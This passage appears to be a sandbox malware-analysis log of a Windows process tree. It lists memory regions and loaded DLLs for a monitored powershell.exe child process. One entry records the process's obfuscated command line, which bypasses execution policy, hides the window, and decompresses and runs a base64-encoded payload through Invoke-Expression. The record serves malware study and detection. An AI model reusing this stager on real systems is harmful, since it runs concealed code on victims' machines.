end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 1249 start_va = 0x1640000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x0000000001640000" filename = "" Region: id = 1250 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1251 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1252 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1253 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1254 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1255 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1256 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1257 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1258 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1259 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1260 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1261 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1262 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1263 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1264 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1265 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1266 start_va = 0x7fee4e10000 end_va = 0x7fee5009fff entry_point = 0x7fee4e10000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1267 start_va = 0x7fee54c0000 end_va = 0x7fee550bfff entry_point = 0x7fee54c0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1268 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1269 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1270 start_va = 0x270000 end_va = 0x271fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1271 start_va = 0x1780000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001780000" filename = "" Region: id = 1272 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1273 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1274 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 93 os_tid = 0xb34 Thread: id = 94 os_tid = 0xb3c Thread: id = 95 os_tid = 0xb40 Thread: id = 96 os_tid = 0xb44 Thread: id = 97 os_tid = 0xb48 Thread: id = 98 os_tid = 0xb4c Thread: id = 99 os_tid = 0xb50 Thread: id = 100 os_tid = 0xb54 Thread: id = 241 os_tid = 0x20c Process: id = "8" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x47aab000" os_pid = "0xb5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xb30" cmd_line = "poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1275 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1276 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1277 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1278 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1279 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1280 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1281 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1282 start_va = 0x13f140000 end_va = 0x13f1b6fff entry_point = 0x13f140000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1283 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1284 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1285 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1286 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1287 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1288 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1289 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1291 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1292 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1293 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1294 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1295 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1296 start_va = 0xe0000 end_va = 0xe2fff entry_point = 0xe0000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1297 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1298 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1299 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1300 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1301 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 1302 start_va = 0x670000 end_va = 0x7f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 1303 start_va = 0x800000 end_va = 0x1bfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1304 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1305 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1306 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1307 start_va = 0x7fef35f0000 end_va = 0x7fef365efff entry_point = 0x7fef35f0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1308 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1309 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1310 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1311 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1312 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1313 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1314 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1315 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1316 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1317 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1318 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1319 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1320 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1321 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1322 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1323 start_va = 0x1c00000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1324 start_va = 0x1d20000 end_va = 0x1d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 1325 start_va = 0x1d90000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 1326 start_va = 0x1e10000 end_va = 0x1eeefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e10000" filename = "" Region: id = 1327 start_va = 0x1f20000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 1328 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1329 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1330 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1331 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1332 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1333 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1334 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1335 start_va = 0x1fa0000 end_va = 0x226efff entry_point = 0x1fa0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1336 start_va = 0x2330000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 1337 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1338 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1339 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1340 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1341 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1342 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1343 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1344 start_va = 0x23b0000 end_va = 0x27a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 1345 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1346 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1347 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1348 start_va = 0x2f0000 end_va = 0x30ffff entry_point = 0x2f0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 1349 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 1350 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1351 start_va = 0x7fef8e50000 end_va = 0x7fef8e83fff entry_point = 0x7fef8e50000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1352 start_va = 0x160000 end_va = 0x163fff entry_point = 0x160000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1353 start_va = 0x320000 end_va = 0x34ffff entry_point = 0x320000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 1354 start_va = 0x350000 end_va = 0x353fff entry_point = 0x350000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1355 start_va = 0x2270000 end_va = 0x22d5fff entry_point = 0x2270000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1356 start_va = 0x2890000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 1357 start_va = 0x29a0000 end_va = 0x2a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 1358 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 1359 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 1360 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1361 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1362 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1363 start_va = 0x2b50000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 1364 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1365 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1366 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1367 start_va = 0x7fee9d50000 end_va = 0x7fee9de8fff entry_point = 0x7fee9d50000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 1368 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1369 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1370 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1371 start_va = 0x360000 end_va = 0x360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 1372 start_va = 0x2ce0000 end_va = 0x2d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 1373 start_va = 0x756a0000 end_va = 0x75768fff entry_point = 0x756a0000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 1374 start_va = 0x7fee4470000 end_va = 0x7fee4e0cfff entry_point = 0x7fee4470000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 1375 start_va = 0x370000 end_va = 0x372fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 1376 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1377 start_va = 0x3c0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1378 start_va = 0x2880000 end_va = 